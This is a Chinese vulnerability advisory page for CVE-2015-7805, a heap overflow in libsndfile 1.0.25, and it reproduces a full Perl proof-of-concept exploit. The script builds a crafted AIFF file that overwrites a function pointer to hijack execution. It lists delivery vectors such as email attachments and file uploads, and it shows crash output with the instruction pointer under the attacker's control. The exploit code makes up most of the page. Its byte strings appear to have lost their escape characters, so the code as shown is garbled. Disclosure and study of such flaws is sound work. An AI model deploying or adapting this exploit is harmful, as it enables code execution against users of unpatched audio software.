Welcome 微信登录
编程资源 图片资源库 蚂蚁家优选 PDF转换器

首页 / 操作系统 / Linux / libsndfile堆缓冲区溢出漏洞(CVE-2015-7805)

libsndfile堆缓冲区溢出漏洞(CVE-2015-7805)
发布日期:2015-11-17
更新日期:2015-11-18

受影响系统:
libsndfile libsndfile 1.0.25
描述:
CVE(CAN) ID: CVE-2015-7805

libsndfile是用于通过标准接口读写声音文件的C库。

libsndfile 1.0.25版本未正确处理AIFF文件标头headindex值,存在安全漏洞,远程攻击者利用此漏洞可管理索引值,用memcpy(...)覆盖内存堆。

<*来源:Marco Romano
  *>

测试方法:
警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!#!/usr/bin/env perl
#
# Exploit Title: libsndfile <= 1.0.25 (latest version) Heap overflow
# Date: 07 Oct 2015
# Exploit Author: Marco Romano @nemux_
# Vendor Homepage: http://www.mega-nerd.com/libsndfile/
# Version: <= 1.0.25
# Tested on: Ubuntu 15.04 / OS X El Capitan 10.11
#
####################################################################
#
# Author: Marco Romano (@nemux_) - 07 Oct 2015
#
# PoC for libsndfile <= 1.0.25 (latest version) Heap overflow
#
# run ./poc.pl to make nemux.aiff file. Now it can be delivered in different ways.
#
# Possible attack vectors:
# - Firefox (on Linux) -> SWF/Audio play -> pulseaudio -> libsndfile ?? (not tested)
# - Email attachment
# - TCP socket connection (for audio server only)
# - File upload (ex. server side audio file manipulation, interactive voice responder)
# - etc...
# -----------------------------------------------------------------------------------------
# [*] Affected products: -- All products using libsndfile (a non-exhaustive list below)
#
# [-] PusleAudio           - http://www.freedesktop.org/wiki/Software/PulseAudio/ (TESTED)
#        Installed by default on most linux environments with libsndfile too (Ex.: Ubuntu, Debian) 
# [-] Jack AudioConnectionKit- http://www.jackaudio.org                           (TESTED)
#        Available for Linux, Win, OSX (List of applications http://www.jackaudio.org/applications/)
# [-] Adobe Audition       - http://www.adobe.com/products/audition.html          (TESTED)
# [-] Audacity             - http://www.audacityteam.org/                       (TESTED)
# [-] Asterisk-eSpeak Module - https://zaf.github.io/Asterisk-eSpeak/             (NOT TESTED)
#
# run an "apt-cache rdepends libsndfile1" to see other interesting dependencies
# searching around i found that library is widely used on IOS and Android projects too
# ------------------------------------------------------------------------------------------
# [*] libsndfile web site references
#
# [-] http://www.mega-nerd.com/libsndfile/
# [-] https://github.com/erikd/libsndfile.git
# [-] https://en.wikipedia.org/wiki/Libsndfile
#
# Note: (wikipedia reports that LAME encoder depends by libsndfile too
#        but i didn"t find this dependecy...)
########################################################################################
#### Vulnerability is based on the wrong management of the headindex and headend values.
#### While parsing a specially crafted AIFF header the attacker can manage index values
#### in order to use memcpy(...) to overwrite memory heap.
######################################################################################## 
####
# Some parts of the source code:
#
# -- common.c:337 [*]
# ...
# #define SF_STR_BUFFER_LEN             (8192)
# #define SF_HEADER_LEN                 (4100 + SF_STR_BUFFER_LEN)
# ...
# typedef struct sf_private_tag
# {
#     ...
# ...
#        /* Index variables for maintaining logbuffer and header above. */
# ...
#        int                           headindex, headend ;
# ...
#     /* Virtual I/O functions. */
#        int                                   virtual_io ;
#        SF_VIRTUAL_IO         vio ;
# ...
# ...
# } SF_PRIVATE;
#
# Take a look to the source of aiff.c:
# -- git clone https://github.com/erikd/libsndfile.git
#
# src/aiff.c:403
# while (!done) { ... }
# -->
# src/common.c:
# int psf_binheader_readf (SF_PRIVATE *psf, char const *format, ...) { }
# --> --> 
# src/common.c:793
# static int header_read (SF_PRIVATE *psf, void *ptr, int bytes)
# --> --> -->
# src/common.c:
#  static int header_read(...) {
# ...
#    memcpy (ptr, psf->header + psf->headindex, bytes) ;
#    psf->headindex += bytes ;
#
# } /* header_read */

# Thourgh a specially crafted AIFF header we can
# 1- increase and decrease the headindex value regardless what should be its real value 
# 2- Overwriting memory with arbitrary data...
#
### Pulseudio test on x86_64
#
# Starting program: /usr/bin/paplay nemux.aiff
# [Thread debugging using libthread_db enabled]
# Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
# Program received signal SIGSEGV, Segmentation fault.
# [----------------------------------registers-----------------------------------]
# RAX: 0x41414141 ("AAAA")
# RBX: 0x60d3e0 --> 0x0
# RCX: 0x610a80 --> 0x0
# RDX: 0x44444444 ("DDDD")
# RSI: 0x1
# RDI: 0x7ea
# RBP: 0x36b0
# RSP: 0x7fffffffd958 --> 0x7ffff76cfe71 (pop    rbx)
# RIP: 0x41414141 ("AAAA")
# ...
# [-------------------------------------code-------------------------------------]
# Invalid $PC address: 0x41414141
# [------------------------------------------------------------------------------]
# Legend: code, data, rodata, value
# Stopped reason: SIGSEGV
# 0x0000000041414141 in ?? ()
#########
##########################################################################################

my $header_aiff_c = "x46x4Fx52x4D" . ### FORM and VERSION
    "x00x00xD0x7C" .
    "x41x49x46x43" .
    "x42x56x45x52" .
    "x00x00x00x04" .
    "xA2x80x51x40" .
    "x43x4Fx4Dx4D" . ### COMM Chunk and Compression NONE (PCM)
    "x00x00x00x11" .
    "x00x01x00x00" .
    "x00x00x00x10" .
    "xF3x0CxFAx00" .
    "x00x00x00x00" .
    "x00x00x4Ex4F" .
    "x4Ex45x0Ex6E" .
    "x6Fx74x20x63" .
    "x63x6Dx92x72" .
    "x65x73x53x65x64x00" .
    "x53x53x4Ex44" . ### 2 SSND Chunks
    "x00x00x00x40" .
    "x00x00x00xAA" .
    "xBDxBDxC5x58" .
    "xBDx96xCAxB0" .
    "xE9x6Fx0AxFE" .
    "x24xCDx26x65" .
    "x73x73x65x64" .
    "x00x53x53x4E" .
    "x44x00x00x00" .
    "x40x00x00x00" .
    "x00xF8x72xF3" .
    "x59xFBx56xFE" .
    "x00x00x00x3E" .
    "xE9x22x66x94" .
    "x4Ex66x55x94" .
    "x4ExD4xD7xC5" .
    "x42x49x61xC4" .
    "x43x4Fx4Dx54" . ### 2 COMT Chunks
    "x00x00x00x26" .
    "x00x01x00x20" .
    "x68x17x0Cx10" .
    "x25x03x00x10" . ### 0x2503 items
    "x03x80xFFx37" .
    "x52x00x00x00" .
    "x04xA2x8Ex51" .
    "x40x43x4Fx4D" .
    "x54x00x00x0B" .
    "x26x00x01x00" .
    "x20x68" .
    "x17x00x10x03" . ### Start wrong and junk chunks (they will trigger default block in the switch statement in aiff.c) 
    "x03x00x10x1B" .
    "x80xFFxFFx4F" .
    "x4Ex45x1Fx6E" . ### my debug: heap 0x161e0d8
    "x6Fx00x01x00" . ### my debug: heap 0x161e0dc
    "x00xE4x7Fx72" . ### ...
    "x00x00x00xD7" .
    "xBAx17xFFxE3" .
    "x1Fx40xFFx20" .
    "x18x08xDDx18" .
    "x00x28x00x28" .
    "x00x28x40x28" .
    "x00x28x00x28" .
    "x00x28xFFxFF" .
    "xFFx80xF7x17" .
    "x00x18x01x00" .
    "x20x68x17x0C" .
    "x10x03x03x00" .
    "x10x03x80xFF" .
    "xFFx4Fx4Ex45" .
    "x0Ax6Ex70x00" .
    "x18xDEx3Ax08" .
    "x00x18x21xA6" .
    "x05x7Fx40x00" .
    "x08xFFx5Dx00" .
    "xF0x00x4Fx00" .
    "x6AxFFx89x9D" .
    "xDAx07xB6xFF" .
    "x2Cx92xB3x0D" .
    "xE4x40xBBx23" .
    "x00x18x00x38" .
    "x00x63x00x28" .
    "x00x90xFFxFF" .
    "x20x18x08xDD" .
    "x18x00x28x00" .
    "x28x00x5ExFC" .
    "x78xD9xADxCD" .
    "x9Ex3ExE9x21" .
    "x55x94x4Ex85" .
    "x51x94x4ExA6" .
    "xD7xC5x42xA7" .
    "x2Ax55xC4x9F" .
    "x43x4Fx4Dx54" . ### here start next COMT Chunk with 0x36B0 items
    "x08x00x00x26" .
    "x00x01x00x20" .
    "x68x17x0CxDD" .
    "x36xB0"; #### end of header...

my $file= "nemux.aiff";

if ($ARGV[0] eq "h" || $ARGV[0] eq "help") {
   print " [*] POC for libsndfile <= 1.0.25 (latest version) ";
   print "[*] Heap overflow vulnerability ";
   print "[*] Author: Marco Romano (@nemux_) - 07 Oct 2015 ";
   print " Just run " . $0 . " (output will be "nemux.aiff" file) ";
   exit 0;
}

my $eax_addr = 0x41414141;
my $edx_addr = 0x44444444;

#####
#### We are going to overwirte psf structure allocated in the heap
#####

my $content_file = pack("Q", $eax_addr);
$content_file .= "x90" x ( 21146 - length pack("Q",$eax_addr) );

#####
### In the psf structure we will overwrite "int virtual_io" with a true value, and vio.seek function pointer
### with an arbitrary address.
### in this way the block below will be triggred in file_io.c:
### ...
### if (psf->virtual_io)
### return psf->vio.seek (...);
###
#####
my $rax_overwrite    = pack("Q",$eax_addr);        ### overwrite vio.seek pointer here
my $padding          = "x43" x 24;                ### ....
my $rdx_overwrite    = pack("Q",$edx_addr);        ### overwrite rdx here ...
my $padding_end_file = "MOMIMANHACKERNOW" x 7;   ### not useful but funny... -_-

print " [*] Making AIFF file: "nemux.aiff"";
my $payload = $header_aiff_c . $content_file . $rax_overwrite . $padding . $rdx_overwrite . $padding_end_file;
print " [*] Done... AIFF File Size: ".length($payload)." ";
print " Is it over? ... Hello? ... Did we win? (cit.) ";

open($FILE,">$file");
print $FILE $payload;
close($FILE);

print " [+] You can test it on OSX and Linux with Audacity  - linux command line /usr/bin/audacity namux.aiff ";
print "[+] You can test it on OSX Windows and Linux        - with Adobe Audition";
print " Note: Adobe Audition will trigger the bug just when it scans the directory that contains this aiff file ";
print "Marco Romano @nemux_ ";

建议:
厂商补丁:

libsndfile
----------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.mega-nerd.com/libsndfile/